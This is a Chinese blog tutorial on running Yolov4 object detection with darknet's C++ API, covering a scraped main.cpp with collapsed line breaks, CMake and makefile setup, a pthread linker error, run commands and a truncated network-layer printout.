C++Yolov4目标检测实战

Introduction

今年2月份，Yolo之父Joseph Redmon由于Yolo被用于军事和隐私窥探退出CV界表示抗议，就当我们以为Yolo系列就此终结的时候，4月24日，Yolov4横空出世，新的接棒者出现，而一作正是赫赫有名的AB大神。
paper github
在本篇文章里，我们先不急去探究Yolov4的原理，而是从工程的角度来使用Yolov4。首先我们来看一下，Yolov4的性能有多么强劲，下面是使用不同显卡的时候，主流目标检测器的性能，从下图我们发现，Yolov4真的比自己的前辈Yolov3强劲了很多。
yolov4和其他主流目标检测器性能对比

官方darknet

darknetAB
官方工程的使用在AB大神的github里面已经讲的非常清楚，可以实现Yolov4网络的训练，检测等功能。但是使用官方darknet项目我们很难直接进行定制化的项目开发，因此本文利用官方项目提供的C++接口进行目标检测实战。

Yolov4实战

首先我们从github下载yolov4.weights,不能上外网的同学下载应该很慢，我上传到百度云盘里，方便大家下载，链接如下：
链接: https://pan.baidu.com/s/14U9pkxJE3MHYj7KCWHnkNw 提取码: 54v4
工程包括两个文件main.cpp, yolo_v2_class.hpp.我把自己的整个工程上传到github上，同学们可以直接去git clone下来，觉得有用的同学麻烦star一下，谢谢。

main.cpp

#include <iostream>
#include <iomanip>
#include <string>
#include <vector>
#include <queue>
#include <fstream>
#include <thread>
#include <future>
#include <atomic>
#include <mutex>         // std::mutex, std::unique_lock
#include <cmath>// It makes sense only for video-Camera (not for video-File)
// To use - uncomment the following line. Optical-flow is supported only by OpenCV 3.x - 4.x
//#define TRACK_OPTFLOW
//#define GPU// To use 3D-stereo camera ZED - uncomment the following line. ZED_SDK should be installed.
//#define ZED_STEREO#include "yolo_v2_class.hpp"    // imported functions from DLL#ifdef OPENCV
#ifdef ZED_STEREO
#include <sl/Camera.hpp>
#if ZED_SDK_MAJOR_VERSION == 2
#define ZED_STEREO_2_COMPAT_MODE
#endif#undef GPU // avoid conflict with sl::MEM::GPU#ifdef ZED_STEREO_2_COMPAT_MODE
#pragma comment(lib, "sl_core64.lib")
#pragma comment(lib, "sl_input64.lib")
#endif
#pragma comment(lib, "sl_zed64.lib")float getMedian(std::vector<float> &v) {size_t n = v.size() / 2;std::nth_element(v.begin(), v.begin() + n, v.end());return v[n];
}std::vector<bbox_t> get_3d_coordinates(std::vector<bbox_t> bbox_vect, cv::Mat xyzrgba)
{bool valid_measure;int i, j;const unsigned int R_max_global = 10;std::vector<bbox_t> bbox3d_vect;for (auto &cur_box : bbox_vect) {const unsigned int obj_size = std::min(cur_box.w, cur_box.h);const unsigned int R_max = std::min(R_max_global, obj_size / 2);int center_i = cur_box.x + cur_box.w * 0.5f, center_j = cur_box.y + cur_box.h * 0.5f;std::vector<float> x_vect, y_vect, z_vect;for (int R = 0; R < R_max; R++) {for (int y = -R; y <= R; y++) {for (int x = -R; x <= R; x++) {i = center_i + x;j = center_j + y;sl::float4 out(NAN, NAN, NAN, NAN);if (i >= 0 && i < xyzrgba.cols && j >= 0 && j < xyzrgba.rows) {cv::Vec4f &elem = xyzrgba.at<cv::Vec4f>(j, i);  // x,y,z,wout.x = elem[0];out.y = elem[1];out.z = elem[2];out.w = elem[3];}valid_measure = std::isfinite(out.z);if (valid_measure){x_vect.push_back(out.x);y_vect.push_back(out.y);z_vect.push_back(out.z);}}}}if (x_vect.size() * y_vect.size() * z_vect.size() > 0){cur_box.x_3d = getMedian(x_vect);cur_box.y_3d = getMedian(y_vect);cur_box.z_3d = getMedian(z_vect);}else {cur_box.x_3d = NAN;cur_box.y_3d = NAN;cur_box.z_3d = NAN;}bbox3d_vect.emplace_back(cur_box);}return bbox3d_vect;
}cv::Mat slMat2cvMat(sl::Mat &input) {int cv_type = -1; // Mapping between MAT_TYPE and CV_TYPEif(input.getDataType() ==
#ifdef ZED_STEREO_2_COMPAT_MODEsl::MAT_TYPE_32F_C4
#elsesl::MAT_TYPE::F32_C4
#endif) {cv_type = CV_32FC4;} else cv_type = CV_8UC4; // sl::Mat used are either RGBA images or XYZ (4C) point cloudsreturn cv::Mat(input.getHeight(), input.getWidth(), cv_type, input.getPtr<sl::uchar1>(
#ifdef ZED_STEREO_2_COMPAT_MODEsl::MEM::MEM_CPU
#elsesl::MEM::CPU
#endif));
}cv::Mat zed_capture_rgb(sl::Camera &zed) {sl::Mat left;zed.retrieveImage(left);cv::Mat left_rgb;cv::cvtColor(slMat2cvMat(left), left_rgb, CV_RGBA2RGB);return left_rgb;
}cv::Mat zed_capture_3d(sl::Camera &zed) {sl::Mat cur_cloud;zed.retrieveMeasure(cur_cloud,
#ifdef ZED_STEREO_2_COMPAT_MODEsl::MEASURE_XYZ
#elsesl::MEASURE::XYZ
#endif);return slMat2cvMat(cur_cloud).clone();
}static sl::Camera zed; // ZED-camera#else   // ZED_STEREO
std::vector<bbox_t> get_3d_coordinates(std::vector<bbox_t> bbox_vect, cv::Mat xyzrgba) {return bbox_vect;
}
#endif  // ZED_STEREO#include <opencv2/opencv.hpp>            // C++
#include <opencv2/core/version.hpp>
#ifndef CV_VERSION_EPOCH     // OpenCV 3.x and 4.x
#include <opencv2/videoio/videoio.hpp>
#define OPENCV_VERSION CVAUX_STR(CV_VERSION_MAJOR)"" CVAUX_STR(CV_VERSION_MINOR)"" CVAUX_STR(CV_VERSION_REVISION)
#ifndef USE_CMAKE_LIBS
#pragma comment(lib, "opencv_world" OPENCV_VERSION ".lib")
#ifdef TRACK_OPTFLOW
/*
#pragma comment(lib, "opencv_cudaoptflow" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_cudaimgproc" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_core" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_imgproc" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_highgui" OPENCV_VERSION ".lib")
*/
#endif    // TRACK_OPTFLOW
#endif    // USE_CMAKE_LIBS
#else     // OpenCV 2.x
#define OPENCV_VERSION CVAUX_STR(CV_VERSION_EPOCH)"" CVAUX_STR(CV_VERSION_MAJOR)"" CVAUX_STR(CV_VERSION_MINOR)
#ifndef USE_CMAKE_LIBS
#pragma comment(lib, "opencv_core" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_imgproc" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_highgui" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_video" OPENCV_VERSION ".lib")
#endif    // USE_CMAKE_LIBS
#endif    // CV_VERSION_EPOCHusing namespace std;
vector<string> split(const string&s,char sepeartor)
{vector<string> split_vector;int subinit=0;for (int id=0;id!=s.length();id++){if (s[id]==sepeartor){split_vector.push_back(s.substr(subinit,id-subinit));subinit=id+1;}}split_vector.push_back(s.substr(subinit,s.length()-subinit));return split_vector;
}void draw_boxes(cv::Mat mat_img, std::vector<bbox_t> result_vec, std::vector<std::string> obj_names,int current_det_fps = -1, int current_cap_fps = -1)
{int const colors[6][3] = { { 1,0,1 },{ 0,0,1 },{ 0,1,1 },{ 0,1,0 },{ 1,1,0 },{ 1,0,0 } };for (auto &i : result_vec) {cv::Scalar color = obj_id_to_color(i.obj_id);cv::rectangle(mat_img, cv::Rect(i.x, i.y, i.w, i.h), color, 2);if (obj_names.size() > i.obj_id) {std::string obj_name = obj_names[i.obj_id];if (i.track_id > 0) obj_name += " - " + std::to_string(i.track_id);cv::Size const text_size = getTextSize(obj_name, cv::FONT_HERSHEY_COMPLEX_SMALL, 1.2, 2, 0);int max_width = (text_size.width > i.w + 2) ? text_size.width : (i.w + 2);max_width = std::max(max_width, (int)i.w + 2);//max_width = std::max(max_width, 283);std::string coords_3d;if (!std::isnan(i.z_3d)) {std::stringstream ss;ss << std::fixed << std::setprecision(2) << "x:" << i.x_3d << "m y:" << i.y_3d << "m z:" << i.z_3d << "m ";coords_3d = ss.str();cv::Size const text_size_3d = getTextSize(ss.str(), cv::FONT_HERSHEY_COMPLEX_SMALL, 0.8, 1, 0);int const max_width_3d = (text_size_3d.width > i.w + 2) ? text_size_3d.width : (i.w + 2);if (max_width_3d > max_width) max_width = max_width_3d;}cv::rectangle(mat_img, cv::Point2f(std::max((int)i.x - 1, 0), std::max((int)i.y - 35, 0)),cv::Point2f(std::min((int)i.x + max_width, mat_img.cols - 1), std::min((int)i.y, mat_img.rows - 1)),color, CV_FILLED, 8, 0);putText(mat_img, obj_name, cv::Point2f(i.x, i.y - 16), cv::FONT_HERSHEY_COMPLEX_SMALL, 1.2, cv::Scalar(0, 0, 0), 2);if(!coords_3d.empty()) putText(mat_img, coords_3d, cv::Point2f(i.x, i.y-1), cv::FONT_HERSHEY_COMPLEX_SMALL, 0.8, cv::Scalar(0, 0, 0), 1);}}if (current_det_fps >= 0 && current_cap_fps >= 0) {std::string fps_str = "FPS detection: " + std::to_string(current_det_fps) + "   FPS capture: " + std::to_string(current_cap_fps);putText(mat_img, fps_str, cv::Point2f(10, 20), cv::FONT_HERSHEY_COMPLEX_SMALL, 1.2, cv::Scalar(50, 255, 0), 2);}
}
#endif    // OPENCVvoid show_console_result(std::vector<bbox_t> const result_vec, std::vector<std::string> const obj_names, int frame_id = -1) {if (frame_id >= 0) std::cout << " Frame: " << frame_id << std::endl;for (auto &i : result_vec) {if (obj_names.size() > i.obj_id) std::cout << obj_names[i.obj_id] << " - ";std::cout << "obj_id = " << i.obj_id << ",  x = " << i.x << ", y = " << i.y<< ", w = " << i.w << ", h = " << i.h<< std::setprecision(3) << ", prob = " << i.prob << std::endl;}
}std::vector<std::string> objects_names_from_file(std::string const filename) {std::ifstream file(filename);std::vector<std::string> file_lines;if (!file.is_open()) return file_lines;for(std::string line; getline(file, line);) file_lines.push_back(line);std::cout << "object names loaded \n";return file_lines;
}template<typename T>
class send_one_replaceable_object_t {const bool sync;std::atomic<T *> a_ptr;
public:void send(T const& _obj) {T *new_ptr = new T;*new_ptr = _obj;if (sync) {while (a_ptr.load()) std::this_thread::sleep_for(std::chrono::milliseconds(3));}std::unique_ptr<T> old_ptr(a_ptr.exchange(new_ptr));}T receive() {std::unique_ptr<T> ptr;do {while(!a_ptr.load()) std::this_thread::sleep_for(std::chrono::milliseconds(3));ptr.reset(a_ptr.exchange(NULL));} while (!ptr);T obj = *ptr;return obj;}bool is_object_present() {return (a_ptr.load() != NULL);}send_one_replaceable_object_t(bool _sync) : sync(_sync), a_ptr(NULL){}
};int main(int argc, char *argv[])
{std::string  names_file = "coco.names";std::string  cfg_file = "cfg/yolov4.cfg";std::string  weights_file = "yolov4.weights";std::string filename;if (argc > 4) {    //voc.names yolo-voc.cfg yolo-voc.weights test.mp4names_file = argv[1];cfg_file = argv[2];weights_file = argv[3];filename = argv[4];}else if (argc > 1) filename = argv[1];float const thresh = (argc > 5) ? std::stof(argv[5]) : 0.2;Detector detector(cfg_file, weights_file);auto obj_names = objects_names_from_file(names_file);std::string out_videofile = "result.avi";bool const save_output_videofile = false;   // true - for historybool const send_network = false;        // true - for remote detectionbool const use_kalman_filter = false;   // true - for stationary camerabool detection_sync = true;             // true - for video-file
#ifdef TRACK_OPTFLOW    // for slow GPUdetection_sync = false;Tracker_optflow tracker_flow;//detector.wait_stream = true;
#endif  // TRACK_OPTFLOWwhile (true){std::cout << "input image or video filename: ";if(filename.size() == 0) std::cin >> filename;if (filename.size() == 0) break;try {
#ifdef OPENCVpreview_boxes_t large_preview(100, 150, false), small_preview(50, 50, true);bool show_small_boxes = false;std::string const file_ext = filename.substr(filename.find_last_of(".") + 1);std::string const protocol = filename.substr(0, 7);if (file_ext == "avi" || file_ext == "mp4" || file_ext == "mjpg" || file_ext == "mov" ||     // video fileprotocol == "rtmp://" || protocol == "rtsp://" || protocol == "http://" || protocol == "https:/" ||    // video network streamfilename == "zed_camera" || file_ext == "svo" || filename == "web_camera")   // ZED stereo camera{if (protocol == "rtsp://" || protocol == "http://" || protocol == "https:/" || filename == "zed_camera" || filename == "web_camera")detection_sync = false;cv::Mat cur_frame;std::atomic<int> fps_cap_counter(0), fps_det_counter(0);std::atomic<int> current_fps_cap(0), current_fps_det(0);std::atomic<bool> exit_flag(false);std::chrono::steady_clock::time_point steady_start, steady_end;int video_fps = 25;bool use_zed_camera = false;track_kalman_t track_kalman;#ifdef ZED_STEREOsl::InitParameters init_params;init_params.depth_minimum_distance = 0.5;#ifdef ZED_STEREO_2_COMPAT_MODEinit_params.depth_mode = sl::DEPTH_MODE_ULTRA;init_params.camera_resolution = sl::RESOLUTION_HD720;// sl::RESOLUTION_HD1080, sl::RESOLUTION_HD720init_params.coordinate_units = sl::UNIT_METER;init_params.camera_buffer_count_linux = 2;if (file_ext == "svo") init_params.svo_input_filename.set(filename.c_str());#elseinit_params.depth_mode = sl::DEPTH_MODE::ULTRA;init_params.camera_resolution = sl::RESOLUTION::HD720;// sl::RESOLUTION::HD1080, sl::RESOLUTION::HD720init_params.coordinate_units = sl::UNIT::METER;if (file_ext == "svo") init_params.input.setFromSVOFile(filename.c_str());#endif//init_params.sdk_cuda_ctx = (CUcontext)detector.get_cuda_context();init_params.sdk_gpu_id = detector.cur_gpu_id;if (filename == "zed_camera" || file_ext == "svo") {std::cout << "ZED 3D Camera " << zed.open(init_params) << std::endl;if (!zed.isOpened()) {std::cout << " Error: ZED Camera should be connected to USB 3.0. And ZED_SDK should be installed. \n";getchar();return 0;}cur_frame = zed_capture_rgb(zed);use_zed_camera = true;}
#endif  // ZED_STEREOcv::VideoCapture cap;if (filename == "web_camera") {cap.open(0);cap >> cur_frame;} else if (!use_zed_camera) {cap.open(filename);cap >> cur_frame;}
#ifdef CV_VERSION_EPOCH // OpenCV 2.xvideo_fps = cap.get(CV_CAP_PROP_FPS);
#elsevideo_fps = cap.get(cv::CAP_PROP_FPS);
#endifcv::Size const frame_size = cur_frame.size();//cv::Size const frame_size(cap.get(CV_CAP_PROP_FRAME_WIDTH), cap.get(CV_CAP_PROP_FRAME_HEIGHT));std::cout << "\n Video size: " << frame_size << std::endl;cv::VideoWriter output_video;if (save_output_videofile)
#ifdef CV_VERSION_EPOCH // OpenCV 2.xoutput_video.open(out_videofile, CV_FOURCC('D', 'I', 'V', 'X'), std::max(35, video_fps), frame_size, true);
#elseoutput_video.open(out_videofile, cv::VideoWriter::fourcc('D', 'I', 'V', 'X'), std::max(35, video_fps), frame_size, true);
#endifstruct detection_data_t {cv::Mat cap_frame;std::shared_ptr<image_t> det_image;std::vector<bbox_t> result_vec;cv::Mat draw_frame;bool new_detection;uint64_t frame_id;bool exit_flag;cv::Mat zed_cloud;std::queue<cv::Mat> track_optflow_queue;detection_data_t() : exit_flag(false), new_detection(false) {}};const bool sync = detection_sync; // sync data exchangesend_one_replaceable_object_t<detection_data_t> cap2prepare(sync), cap2draw(sync),prepare2detect(sync), detect2draw(sync), draw2show(sync), draw2write(sync), draw2net(sync);std::thread t_cap, t_prepare, t_detect, t_post, t_draw, t_write, t_network;// capture new video-frameif (t_cap.joinable()) t_cap.join();t_cap = std::thread([&](){uint64_t frame_id = 0;detection_data_t detection_data;do {detection_data = detection_data_t();
#ifdef ZED_STEREOif (use_zed_camera) {while (zed.grab() !=#ifdef ZED_STEREO_2_COMPAT_MODEsl::SUCCESS#elsesl::ERROR_CODE::SUCCESS#endif) std::this_thread::sleep_for(std::chrono::milliseconds(2));detection_data.cap_frame = zed_capture_rgb(zed);detection_data.zed_cloud = zed_capture_3d(zed);}else
#endif   // ZED_STEREO{cap >> detection_data.cap_frame;}fps_cap_counter++;detection_data.frame_id = frame_id++;if (detection_data.cap_frame.empty() || exit_flag) {std::cout << " exit_flag: detection_data.cap_frame.size = " << detection_data.cap_frame.size() << std::endl;detection_data.exit_flag = true;detection_data.cap_frame = cv::Mat(frame_size, CV_8UC3);}if (!detection_sync) {cap2draw.send(detection_data);       // skip detection}cap2prepare.send(detection_data);} while (!detection_data.exit_flag);std::cout << " t_cap exit \n";});// pre-processing video frame (resize, convertion)t_prepare = std::thread([&](){std::shared_ptr<image_t> det_image;detection_data_t detection_data;do {detection_data = cap2prepare.receive();det_image = detector.mat_to_image_resize(detection_data.cap_frame);detection_data.det_image = det_image;prepare2detect.send(detection_data);    // detection} while (!detection_data.exit_flag);std::cout << " t_prepare exit \n";});// detection by Yoloif (t_detect.joinable()) t_detect.join();t_detect = std::thread([&](){std::shared_ptr<image_t> det_image;detection_data_t detection_data;do {detection_data = prepare2detect.receive();det_image = detection_data.det_image;std::vector<bbox_t> result_vec;if(det_image)result_vec = detector.detect_resized(*det_image, frame_size.width, frame_size.height, thresh, true);  // truefps_det_counter++;//std::this_thread::sleep_for(std::chrono::milliseconds(150));detection_data.new_detection = true;detection_data.result_vec = result_vec;detect2draw.send(detection_data);} while (!detection_data.exit_flag);std::cout << " t_detect exit \n";});// draw rectangles (and track objects)t_draw = std::thread([&](){std::queue<cv::Mat> track_optflow_queue;detection_data_t detection_data;do {// for Video-fileif (detection_sync) {detection_data = detect2draw.receive();}// for Video-cameraelse{// get new Detection result if presentif (detect2draw.is_object_present()) {cv::Mat old_cap_frame = detection_data.cap_frame;   // use old captured framedetection_data = detect2draw.receive();if (!old_cap_frame.empty()) detection_data.cap_frame = old_cap_frame;}// get new Captured frameelse {std::vector<bbox_t> old_result_vec = detection_data.result_vec; // use old detectionsdetection_data = cap2draw.receive();detection_data.result_vec = old_result_vec;}}cv::Mat cap_frame = detection_data.cap_frame;cv::Mat draw_frame = detection_data.cap_frame.clone();std::vector<bbox_t> result_vec = detection_data.result_vec;#ifdef TRACK_OPTFLOWif (detection_data.new_detection) {tracker_flow.update_tracking_flow(detection_data.cap_frame, detection_data.result_vec);while (track_optflow_queue.size() > 0) {draw_frame = track_optflow_queue.back();result_vec = tracker_flow.tracking_flow(track_optflow_queue.front(), false);track_optflow_queue.pop();}}else {track_optflow_queue.push(cap_frame);result_vec = tracker_flow.tracking_flow(cap_frame, false);}detection_data.new_detection = true;    // to correct kalman filter
#endif //TRACK_OPTFLOW// track ID by using kalman filterif (use_kalman_filter) {if (detection_data.new_detection) {result_vec = track_kalman.correct(result_vec);}else {result_vec = track_kalman.predict();}}// track ID by using custom functionelse {int frame_story = std::max(5, current_fps_cap.load());result_vec = detector.tracking_id(result_vec, true, frame_story, 40);}if (use_zed_camera && !detection_data.zed_cloud.empty()) {result_vec = get_3d_coordinates(result_vec, detection_data.zed_cloud);}//small_preview.set(draw_frame, result_vec);//large_preview.set(draw_frame, result_vec);draw_boxes(draw_frame, result_vec, obj_names, current_fps_det, current_fps_cap);//show_console_result(result_vec, obj_names, detection_data.frame_id);//large_preview.draw(draw_frame);//small_preview.draw(draw_frame, true);detection_data.result_vec = result_vec;detection_data.draw_frame = draw_frame;draw2show.send(detection_data);if (send_network) draw2net.send(detection_data);if (output_video.isOpened()) draw2write.send(detection_data);} while (!detection_data.exit_flag);std::cout << " t_draw exit \n";});// write frame to videofilet_write = std::thread([&](){if (output_video.isOpened()) {detection_data_t detection_data;cv::Mat output_frame;do {detection_data = draw2write.receive();if(detection_data.draw_frame.channels() == 4) cv::cvtColor(detection_data.draw_frame, output_frame, CV_RGBA2RGB);else output_frame = detection_data.draw_frame;output_video << output_frame;} while (!detection_data.exit_flag);output_video.release();}std::cout << " t_write exit \n";});// send detection to the networkt_network = std::thread([&](){if (send_network) {detection_data_t detection_data;do {detection_data = draw2net.receive();detector.send_json_http(detection_data.result_vec, obj_names, detection_data.frame_id, filename);} while (!detection_data.exit_flag);}std::cout << " t_network exit \n";});// show detectiondetection_data_t detection_data;do {steady_end = std::chrono::steady_clock::now();float time_sec = std::chrono::duration<double>(steady_end - steady_start).count();if (time_sec >= 1) {current_fps_det = fps_det_counter.load() / time_sec;current_fps_cap = fps_cap_counter.load() / time_sec;steady_start = steady_end;fps_det_counter = 0;fps_cap_counter = 0;}detection_data = draw2show.receive();cv::Mat draw_frame = detection_data.draw_frame;//if (extrapolate_flag) {//    cv::putText(draw_frame, "extrapolate", cv::Point2f(10, 40), cv::FONT_HERSHEY_COMPLEX_SMALL, 1.0, cv::Scalar(50, 50, 0), 2);//}cv::imshow("window name", draw_frame);filename.replace(filename.end()-4, filename.end(), "_yolov4_out.jpg");int key = cv::waitKey(3);    // 3 or 16msif (key == 'f') show_small_boxes = !show_small_boxes;if (key == 'p') while (true) if (cv::waitKey(100) == 'p') break;//if (key == 'e') extrapolate_flag = !extrapolate_flag;if (key == 27) { exit_flag = true;}//std::cout << " current_fps_det = " << current_fps_det << ", current_fps_cap = " << current_fps_cap << std::endl;} while (!detection_data.exit_flag);std::cout << " show detection exit \n";cv::destroyWindow("window name");// wait for all threadsif (t_cap.joinable()) t_cap.join();if (t_prepare.joinable()) t_prepare.join();if (t_detect.joinable()) t_detect.join();if (t_post.joinable()) t_post.join();if (t_draw.joinable()) t_draw.join();if (t_write.joinable()) t_write.join();if (t_network.joinable()) t_network.join();break;}else if (file_ext == "txt") {    // list of image filesstd::ifstream file(filename);if (!file.is_open()) std::cout << "File not found! \n";elsefor (std::string line; file >> line;) {std::cout << line << std::endl;cv::Mat mat_img = cv::imread(line);std::vector<bbox_t> result_vec = detector.detect(mat_img);show_console_result(result_vec, obj_names);//draw_boxes(mat_img, result_vec, obj_names);//cv::imwrite("res_" + line, mat_img);}}else {    // image file// to achive high performance for multiple images do these 2 lines in another threadcv::Mat mat_img = cv::imread(filename);auto det_image = detector.mat_to_image_resize(mat_img);auto start = std::chrono::steady_clock::now();std::vector<bbox_t> result_vec = detector.detect_resized(*det_image, mat_img.size().width, mat_img.size().height);auto end = std::chrono::steady_clock::now();std::chrono::duration<double> spent = end - start;std::cout << " Time: " << spent.count() << " sec \n";//result_vec = detector.tracking_id(result_vec);    // comment it - if track_id is not requireddraw_boxes(mat_img, result_vec, obj_names);cv::imshow("window name", mat_img);vector<string> filenamesplit=split(filename,'/');string endname=filenamesplit[filenamesplit.size()-1];endname.replace(endname.end()-4,endname.end(),"_yolov4_out.jpg");std::string outputfile="detect_result/"+endname;imwrite(outputfile, mat_img);show_console_result(result_vec, obj_names);cv::waitKey(0);}
#else   // OPENCV//std::vector<bbox_t> result_vec = detector.detect(filename);auto img = detector.load_image(filename);std::vector<bbox_t> result_vec = detector.detect(img);detector.free_image(img);show_console_result(result_vec, obj_names);
#endif  // OPENCV}catch (std::exception &e) { std::cerr << "exception: " << e.what() << "\n"; getchar(); }catch (...) { std::cerr << "unknown exception \n"; getchar(); }filename.clear();}return 0;
}

yolo_v2_class.hpp直接使用github的代码
Cmakelist.txt如下：

cmake_minimum_required(VERSION 3.5)
project(yolov4)
find_package( OpenCV 3 REQUIRED )
set(CMAKE_CXX_STANDARD 14)
include_directories(${OpenCV_INCLUDE_DIRS})
add_executable(yolov4 main.cpp yolo_v2_class.hpp)
target_link_libraries(yolov4 ${OpenCV_LIBS} libdarknet.so libpthread.so.0)

注意project的yolov4改成自己工程的名字，另外需要链接两个动态库，第一个库是darknet的所有网络层的定义，第二个库是linux的多线程库。两个库都放在/usr/lib目录下，因为这个目录是可以被C++自动检索到的。
libpthread.so.0默认情况下在/lib/x86_64-linux-gnu下，因此可以自动被检索到，只需要把它写在Cmakelist里面就可以。

/usr/bin/ld: CMakeFiles/yolov4.dir/main.cpp.o: undefined reference to symbol 'pthread_create@@GLIBC_2.2.5'
//lib/x86_64-linux-gnu/libpthread.so.0: error adding symbols: DSO missing from command line
collect2: error: ld returned 1 exit status
CMakeFiles/yolov4.dir/build.make:111: recipe for target 'yolov4' failed
make[2]: *** [yolov4] Error 1
CMakeFiles/Makefile2:67: recipe for target 'CMakeFiles/yolov4.dir/all' failed
make[1]: *** [CMakeFiles/yolov4.dir/all] Error 2
Makefile:83: recipe for target 'all' failed
make: *** [all] Error 2

libdarknet.so则可以通过编译AB大神的darknet工程得到，修改工程的makefile如下：

GPU=0
CUDNN=0
CUDNN_HALF=0
OPENCV=1
AVX=0
OPENMP=1
LIBSO=1
ZED_CAMERA=0 # ZED SDK 3.0 and above
ZED_CAMERA_v2_8=0 # ZED SDK 2.X

然后make，编译成功以后，就在目录里就出现了libdarknet.so动态库，将其copy至/usr/lib文件夹。
切换到我们的Yolov4文件夹，然后make，通过编译以后，可以运行可执行程序。

./yolov4 image/kite.jpg     //检测图片
./yolov4 test.mp4             //检测视频
./yolov4 web_camera      //检测摄像头

mini_batch = 1, batch = 1, time_steps = 1, train = 0 layer   filters  size/strd(dil)      input                output0 conv     32       3 x 3/ 1    576 x 576 x   3 ->  576 x 576 x  32 0.573 BF1 conv     64       3 x 3/ 2    576 x 576 x  32 ->  288 x 288 x  64 3.058 BF2 conv     64       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  64 0.679 BF3 route  1 		                           ->  288 x 288 x  64 4 conv     64       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  64 0.679 BF5 conv     32       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  32 0.340 BF6 conv     64       3 x 3/ 1    288 x 288 x  32 ->  288 x 288 x  64 3.058 BF7 Shortcut Layer: 4,  wt = 0, wn = 0, outputs: 288 x 288 x  64 0.005 BF8 conv     64       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  64 0.679 BF9 route  8 2 	                           ->  288 x 288 x 128 10 conv     64       1 x 1/ 1    288 x 288 x 128 ->  288 x 288 x  64 1.359 BF11 conv    128       3 x 3/ 2    288 x 288 x  64 ->  144 x 144 x 128 3.058 BF12 conv     64       1 x 1/ 1    144 x 144 x 128 ->  144 x 144 x  64 0.340 BF13 route  11 		                           ->  144 x 144 x 128 14 conv     64       1 x 1/ 1    144 x 144 x 128 ->  144 x 144 x  64 0.340 BF15 conv     64       1 x 1/ 1    144 x 144 x  64 ->  144 x 144 x  64 0.170 BF16 conv     64       3 x 3/ 1    144 x 144 x  64 ->  144 x 144 x  64 1.529 BF17 Shortcut Layer: 14,  wt = 0, wn = 0, outputs: 144 x 144 x  64 0.001 BF18 conv     64       1 x 1/ 1    144 x 144 x  64 ->  144 x 144 x  64 0.170 BF19 conv     64       3 x 3/ 1    144 x 144 x  64 ->  144 x 144 x  64 1.529 BF20 Shortcut Layer: 17,  wt = 0, wn = 0, outputs: 144 x 144 x  64 0.001 BF21 conv     64       1 x 1/ 1    144 x 144 x  64 ->  144 x 144 x  64 0.170 BF22 route  21 12 	                           ->  144 x 144 x 128 23 conv    128       1 x 1/ 1    144 x 144 x 128 ->  144 x 144 x 128 0.679 BF24 conv    256       3 x 3/ 2    144 x 144 x 128 ->   72 x  72 x 256 3.058 BF25 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF26 route  24 		                           ->   72 x  72 x 256 27 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF28 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF29 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF30 Shortcut Layer: 27,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF31 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF32 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF33 Shortcut Layer: 30,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF34 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF35 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF36 Shortcut Layer: 33,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF37 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF38 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF39 Shortcut Layer: 36,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF40 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF41 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF42 Shortcut Layer: 39,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF43 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF44 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF45 Shortcut Layer: 42,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF46 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF47 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF48 Shortcut Layer: 45,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF49 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF50 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF51 Shortcut Layer: 48,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF52 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF53 route  52 25 	                           ->   72 x  72 x 256 54 conv    256       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 256 0.679 BF55 conv    512       3 x 3/ 2     72 x  72 x 256 ->   36 x  36 x 512 3.058 BF56 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF57 route  55 		                           ->   36 x  36 x 512 58 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF59 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF60 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF61 Shortcut Layer: 58,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF62 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF63 conv    256       3 x 3/ 